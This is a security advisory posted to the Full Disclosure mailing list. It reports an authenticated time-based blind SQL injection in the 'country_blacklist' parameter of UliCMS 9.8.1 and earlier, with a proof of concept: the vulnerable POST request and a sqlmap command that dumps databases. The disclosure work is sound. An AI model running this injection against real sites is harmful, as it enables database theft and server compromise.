full-disclosure - [FD] Time-based SQL Injection in Admin panel UliCMS <= v9.8.1

Open Source and information security mailing list archives

Date: Tue, 2 Feb 2016 09:22:56 +0100
From: Manuel Garcia Cardenas <advidsec@...il.com>
To: fulldisclosure@...lists.org, dm@...urityfocus.com
Subject: [FD] Time-based SQL Injection in Admin panel UliCMS <= v9.8.1

=============================================
MGC ALERT 2016-001
- Original release date: January 26, 2016
- Last revised:  February 02, 2016
- Discovered by: Manuel García Cárdenas
- Severity: 7,1/10 (CVSS Base Score)
=============================================

I. VULNERABILITY
-------------------------
Time-based SQL Injection in Admin panel UliCMS <= v9.8.1

II. BACKGROUND
-------------------------
UliCMS is a modern web content management solution from Germany, that
attempts to make web content management more easier.

III. DESCRIPTION
-------------------------
This bug was found using the portal with authentication as administrator.
To exploit the vulnerability only is needed use the version 1.0 of the HTTP
protocol to interact with the application.

It is possible to inject SQL code in the variable "country_blacklist" on
the page "action=spam_filter".

IV. PROOF OF CONCEPT
-------------------------
The following URL's and parameters have been confirmed to all suffer from
Time Based Blind SQL injection.

/ulicms/admin/?action=spam_filter

(POST)
spamfilter_enabled=yes&spamfilter_words_blacklist=a&country_blacklist=ru&submit_spamfilter_settings=Save+Changes

POC using SQLMap:

sqlmap -u "http://127.0.0.1/ulicms/admin/?action=spam_filter" --cookie="SET
COOKIE HERE"
--data="spamfilter_enabled=yes&spamfilter_words_blacklist=a&country_blacklist=ru&submit_spamfilter_settings=Save+Changes"
-p "country_blacklist" --dbms="mysql" --dbs

V. BUSINESS IMPACT
-------------------------
Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete compromise of these client systems is also possible.

VI. SYSTEMS AFFECTED
-------------------------
UliCMS <= v9.8.1

VII. SOLUTION
-------------------------
Install vendor patch.

VIII. REFERENCES
-------------------------
http://en.ulicms.de/

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel García Cárdenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
-------------------------
January 26, 2016 1: Initial release
February 02, 2015 2: Revision to send to lists

XI. DISCLOSURE TIMELINE
-------------------------
January 26, 2016 1: Vulnerability acquired by Manuel Garcia Cardenas
January 26, 2016 2: Send to vendor
January 28, 2016 3: Vendor fix vulnerability
February 02, 2016 4: Send to the Full-Disclosure lists

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester

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